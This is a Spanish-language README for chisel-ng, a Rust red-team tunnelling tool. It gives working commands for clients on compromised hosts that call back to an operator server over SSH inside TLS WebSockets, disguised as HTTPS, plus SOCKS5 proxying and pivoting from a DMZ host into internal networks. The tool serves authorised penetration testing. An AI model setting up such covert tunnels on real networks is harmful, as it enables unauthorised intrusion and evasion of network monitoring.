
Chisel nueva generación, escrito en rust. SSH bajo WSS con alguna personalización.
| | ()___ | | _ __ __ _ / | ' | / |/ _ \ || ' \ / ` | | (__| | | | _ \ / || | | | (| | _|| |||/_|| || ||_, | |___/
Una implementación en Rust de chisel para pruebas de penetración y operaciones de equipo rojo. Establece túneles inversos sobre SSH sobre WebSocket sobre TLS, permitiendo a los operadores pivotar a través de hosts comprometidos mientras se mezclan con el tráfico HTTPS normal.
git clone https://github.com/nullsection/chisel-ng
cd chisel-ng
cargo build --release
Los binarios se generan en target/release/: chisel-server, chisel-client, chisel-bind-client
1. Iniciar servidor (operador):
./chisel-server -p 'secreto' -v
2. Ejecutar cliente (objetivo):
./chisel-client -s operador.ejemplo.com:8443 -p 'secreto' -k
3. Crear túneles:
chisel-ng> sesión 1
[session-1] TARGET > túnel 8080:192.168.1.100:80
[session-1] TARGET > socks5 1080
4. Acceder a servicios internos:
curl http://127.0.0.1:8080
curl --socks5 127.0.0.1:1080 http://internal.corp/
+------------------+ +----------------------------------+
| Operador | | Red Objetivo |
| | | |
| +--------------+ | SSH | +--------------+ |
| |chisel-server |<---------------+-|chisel-client | |
| | :8443 | | (sobre TLS)| | (inverso) | |
| +--------------+ | | +--------------+ |
+------------------+ +----------------------------------+
Pila de Protocolos:
TCP -> TLS 1.3 -> WebSocket -> SSH -> Datos del Túnel
^
aparece como HTTPS
Modos de Cliente:
chisel-client) - Conecta saliente al servidorchisel-bind-client) - Escucha conexiones entrantes; el servidor usa el comando connectOPCIONES:
-l, --listen <ADDR> Dirección de escucha [por defecto: 0.0.0.0:8443]
-p, --psk <PSK> Clave precompartida o frase de paso [env: CHISEL_PSK]
--cert <FILE> Certificado TLS (PEM)
--key <FILE> Clave privada TLS (PEM)
--generate-psk Generar PSK aleatorio y salir
-v, --verbose Salida detallada
OPCIONES:
-s, --server <ADDR> Dirección del servidor (host:puerto)
-p, --psk <PSK> Clave precompartida o frase de paso [env: CHISEL_PSK]
-u, --user <ETIQUETA> Etiqueta de sesión [por defecto: agent]
-k, --insecure Omitir verificación TLS
--no-reconnect Deshabilitar reconexión automática
-i, --interval <SEG> Intervalo de reconexión [por defecto: 30]
--heartbeat <SEG> Intervalo de latido [por defecto: 30]
-v, --verbose Salida detallada
Para objetivos que pueden aceptar conexiones entrantes pero no iniciar salientes:
OPCIONES:
-l, --listen <ADDR> Dirección de escucha (ej. 0.0.0.0:9000)
-p, --psk <PSK> Clave precompartida o frase de paso [env: CHISEL_PSK]
-u, --user <ETIQUETA> Etiqueta de sesión [por defecto: agent]
-k, --insecure Omitir verificación TLS
--heartbeat <SEG> Intervalo de latido [por defecto: 30]
-v, --verbose Salida detallada
Menú Principal:
sessions Listar sesiones conectadas
session <id> Seleccionar una sesión
connect <ip:puerto> Conectar al cliente bind
disconnect <id> Desconectar sesión (se reconectará)
kill <id> Terminar proceso del cliente
Menú de Sesión:
tunnel <local>:<ip_objetivo>:<puerto_objetivo> Crear túnel
tunnel --local <local>:<objetivo>:<puerto> Crear túnel (solo localhost)
tunnel stop <puerto> Detener túnel
tunnels Listar túneles
socks5 <puerto> Iniciar proxy SOCKS5
socks5 stop <puerto> Detener proxy SOCKS5
ping Medir latencia
ps Listar procesos remotos
netstat Listar conexiones remotas
Alcanza redes aisladas encadenando a través de sesiones existentes.
Escenario: El host DMZ puede alcanzar al operador. El host interno (10.0.0.50) solo puede ser alcanzado desde DMZ.
+----------+ +-----------+ +------------+
| Operador |--SSH---| Sesión 1 |--TCP---| Sesión 2 |
| Servidor| | (DMZ) | | (INTERNO) |
+----------+ +-----------+ +------------+
Paso 1 - Iniciar servidor (operador):
./chisel-server -p 'secreto' -v
Paso 2 - Ejecutar cliente inverso (host DMZ):
./chisel-client -s operador.ejemplo.com:8443 -p 'secreto' -k
Paso 3 - Ejecutar cliente bind (host interno en 10.0.0.50):
./chisel-bind-client -l 0.0.0.0:9000 -p 'secreto' -k
Paso 4 - Crear túnel y conectar (CLI del servidor):
chisel-ng> sesión 1
[session-1] DMZ > túnel --local 9000:10.0.0.50:9000
Túnel iniciado en 127.0.0.1:9000
[session-1] DMZ > back
chisel-ng> connect 127.0.0.1:9000
Sesión 2 registrada
chisel-ng> sesión 2
[session-2] INTERNO > socks5 1080
Al crear un túnel (tunnel 8080:192.168.1.100:80):
Destinos dinámicos mediante el handshake RFC 1928. Devuelve códigos de error adecuados para obtener resultados precisos en escaneos de puertos.
Las compilaciones de lanzamiento están endurecidas:
--heartbeat 0Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas. Obtenga la autorización adecuada antes de usarla. Los autores no se responsabilizan por el uso indebido.
MIT